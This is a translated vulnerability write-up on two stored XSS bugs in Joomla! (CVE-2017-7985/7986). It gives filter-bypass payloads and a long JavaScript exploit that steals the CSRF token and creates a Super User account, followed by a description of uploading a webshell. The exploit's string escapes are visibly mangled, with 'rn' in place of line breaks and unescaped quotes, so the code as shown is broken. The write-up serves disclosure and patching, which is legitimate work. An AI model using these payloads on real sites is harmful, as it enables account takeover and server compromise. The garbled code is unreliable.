【漏洞分析】CVE-2017-7985&7986:详细分析 Joomla!两处XSS漏洞(含exp)

https://p1.ssl.qhimg.com/t01e77aeafc57bf5a6a.jpg

翻译:童话

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3%的网站运行Joomla!,同时它占有全球9%以上的CMS市场份额。

截止至2016年11月,Joomla!的总下载量超过7800万次。目前Joomla!官方还提供了超过7800个扩展插件(含免费、收费插件)及其他的可用资源可供下载。

http://p6.qhimg.com/t01ef92f7ae81c23278.png

Joomla!官方提供插件总量(2017年5月5日)

今年,作为FortiGuard的安全研究员我挖到了两个Joomla!的存储型XSS漏洞。它们对应的CVE编号为:CVE-2017-7985CVE-2017-7986。Joomla!官方与本周修复了这两个漏洞[1][2]。这两个漏洞影响Joomla!的1.5.0到3.6.5版本。这些版本受该漏洞影响的原因是因为程序没有对恶意用户输入的内容做有效的过滤。远程攻击者可以利用这些漏洞在用户的浏览器中执行任意JavaScript代码,潜在地影响是允许攻击者控制被攻击者Joomla!账户(译者注:攻击者可以利用XSS漏洞获取用户的cookies信息进而登录账户,也可以结合CSRF漏洞直接利用被攻击者向服务端发起请求执行相关操作。)如果被攻击者拥有一个较高的权限,如系统管理员,远程攻击者可以获得Web服务器的完全控制权(译者注:这里原作者说的不够严谨,应该是可以利用较高权限的账户利用后台的插件上传功能拿到webshell进而获得Web服务器的控制权)。

在这篇文章中我将详细分析这两个XSS漏洞,同时写了第二个XSS漏洞的利用代码,利用XSS漏洞获取CSRF token,创建高权限账户,最终拿到了webshell。


背景介绍

Joomla!拥有自己的XSS过滤器。举例来说,一个仅具有文章发布权限的用户在文章发布时不能使用所有的HTML标签。当用户发布一个内容中带有HTML标签的文章,Joomla!将会过滤类似“javascript:alert()”, “background:url()” 等可能有安全隐患的JavaScript代码。Joomla!使用两种方式去实现XSS过滤机制。一种是在客户端采用一个名为TinyMCE的编辑器在前端对用户输入的内容做过滤。另一种是在服务端,它先过滤HTTP请求中的敏感字符,然后再存储在服务端进行处理。


漏洞分析

为了演示这个漏洞,我们先创建一个名为'yzy1'的测试账户。该账户仅有作者(author)权限,即该权限下的用户在发布文章时不允许使用全部的HTML标签。

本次分析的两个漏洞为服务端XSS过滤机制的绕过,因此客户端的验证不在此次的研究范围,我们可以使用Burp Suite绕过前端校验,或者将Joomla!的默认编辑器修改为其他的编辑器(如:CoodeMirror)或者不使用编辑器。

http://p8.qhimg.com/t010f102d810275306e.png

图1.更改编辑器已绕过客户端XSS过滤器

下面我们就来着重说说绕过服务端XSS过滤机制的两个存储型XSS漏洞,他们对应的CVE编号是:CVE-2017-7985和CVE-2017-7986。


CVE-2017-7985

Joomla!的服务端XSS过滤器会过滤存在安全风险的代码,保存安全的字符。举例来说,当我们利用测试账户发布以下内容时:

style="background:url()"<img src=x onerror=alert(1)><a href="test">test</a>

Joomla!会过滤这个字符串,给style="background:url()"加双引号,删除onerror=alert(1),给两处URL增加一个安全的链接,如图2所示:

http://p5.qhimg.com/t01177603c74a69d425.png

图2. Joomla! XSS过滤器过滤后的内容

但是攻击者可以利用这个XSS过滤器重构代码、重建脚本实现XSS漏洞。举个例子,我们可以利用测试账号发布如下内容:

style="background:url()'"><img src=x onerror=alert(1) x=<a href="test">test</a>

注意不要漏掉background:url()'"><img中的双引号,如图3所示

http://p3.qhimg.com/t0129f6249ef02d3383.png

图3.插入CVE-2017-7985的PoC

当被攻击者访问这篇文章时,不管文章是否发布(译者注:作者的意思应该是发布的话影响前台用户,不发布的话影响后台管理页面),文章中插入的XSS代码将在首页或者后台管理页面执行,如图4、图5所示。

http://p5.qhimg.com/t01d693592ef21489f2.jpg

图4.在主页中触发CVE-2017-7985 PoC

http://p6.qhimg.com/t0100b2e69f7834b92d.png

图5.在后台管理页面中触发CVE-2017-7985 PoC


CVE-2017-7986

当发布文章时,攻击者可以修改<button>标签中的属性值将"javascript:alert()"修改为"javascript&colon;alert()"(&colon;就是HTML格式的:冒号)来绕过XSS过滤器。攻击者可以在前边增加一个<form>标签令利用代码执行。举个例子,攻击者可以将以下代码插入到文章中,如图6所示。

<form /><button formaction="javascript&colon;alert(1)">Click Me</button>

http://p0.qhimg.com/t013a111d58b471aee7.png

图6.插入CVE-2017-7986的PoC

当被攻击者访问这篇文章时,不管文章是否发布(译者注:作者的意思应该是发布的话影响前台用户,不发布的话影响后台管理页面),然后点击"Click Me"按钮,插入的XSS代码将在主页和后台管理界面触发。如图7、图8所示:

http://p7.qhimg.com/t01f0d59a53a6870509.png

图7.CVE-2017-7986的PoC在主页触发

http://p8.qhimg.com/t014bedd35c350989ba.png

图8.CVE-2017-7986的PoC在后台管理界面触发


Exploit

很多时候大家为了挖到一个XSS漏洞,alert()下,弹个窗就完事提交了。在这篇文章中,我提供了一个CVE-2017-7986的漏洞利用示例,通过一个低权限帐户的攻击者创建一个超级用户(Super User)帐户并上传一个webshell,演示一下此漏洞的影响。

我写了一段JavaScript代码,该代码的功能是利用网站管理员权限向服务端发起请求创建一个超级用户(Super User)帐户。该段代码的大概原理是首先访问用户编辑页面index.php?option=com_users&view=user&layout=edit获取CSRF token,然后结合刚刚获取的CSRF token向服务端发起一个创建超级用户(Super User)帐户的POST请求,账号为'Fortinet Yzy'密码为'test'的超级用户账号将会被创建:

var request = new XMLHttpRequest();
var req = new XMLHttpRequest();
var id = '';
var boundary = Math.random().toString().substr(2);
var space = "-----------------------------";
request.open('GET', 'index.php?option=com_users&view=user&layout=edit', true);
request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
        var resp = request.responseText;
        var myRegex = /<input type="hidden" name="([a-z0-9]+)" value="1" />/;
        id = myRegex.exec(resp)[1];
        req.open('POST', 'index.php?option=com_users&layout=edit&id=0', true);
        req.setRequestHeader("content-type", "multipart/form-data; boundary=---------------------------" + boundary);
        var multipart = space + boundary +
            "rnContent-Disposition: form-data; name="jform[name]"" +
            "rnrnFortinet Yzyrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[username]"" +
            "rnrnfortinetyzyrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[password]"" +
            "rnrntestrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[password2]"" +
            "rnrntestrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[email]"" +
            "rnrnzyg@gmail.comrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[registerDate]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[lastvisitDate]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[lastResetTime]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[resetCount]"" +
            "rnrn0rn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[sendEmail]"" +
            "rnrn0rn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[block]"" +
            "rnrn0rn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[requireReset]"" +
            "rnrn0rn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[id]"" +
            "rnrn0rn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[groups][]"" +
            "rnrn8rn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[params][admin_style]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[params][admin_language]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[params][language]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[params][editor]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[params][helpsite]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="jform[params][timezone]"" +
            "rnrnrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="task"" +
            "rnrnuser.applyrn" +
            space + boundary +
            "rnContent-Disposition: form-data; name="" + id + """ +
            "rnrn1rn" +
            space + boundary + "--rn";
        req.onload = function() {
            if (req.status >= 200 && req.status < 400) {
                var resp = req.responseText;
                console.log(resp);
            }
        };
        req.send(multipart);
    }
};
request.send();

攻击者可以将该段代码插入到Joomla! 存在XSS漏洞的位置 ,如图9所示。

http://p6.qhimg.com/t0179cca8c4761cd6ed.png

图9.添加XSS代码

一旦网站管理员在后台管理页面出发了这段XSS攻击代码,Joomla! 将立即创建一个超级用户(Super User)权限的账号,如图10、图11所示。

http://p6.qhimg.com/t01de876c25545bcf2e.png

图10.网站管理员在后台管理页面触发XSS攻击

http://p8.qhimg.com/t01d3611950c81a1910.png

图11.攻击者创建一个新的超级用户(Super User)帐户

攻击者可以通过这个新创建的超级用户(Super User)帐户登录后台,并通过安装插件来上传webshell。如图12、图13所示。

http://p6.qhimg.com/t01d62b5679dfb8ddbf.png

图12.使用攻击者的超级用户(Super User)帐号上传webshell

http://p0.qhimg.com/t013c26d027c7389540.jpg

图13. 攻击者访问webshell并执行命令


修复建议

升级Joomla!至最新版本,下载地址:https://downloads.joomla.org/cms/joomla3/3-7-0/joomla_3-7-0-stable-full_package-zip?format=zip 

(完)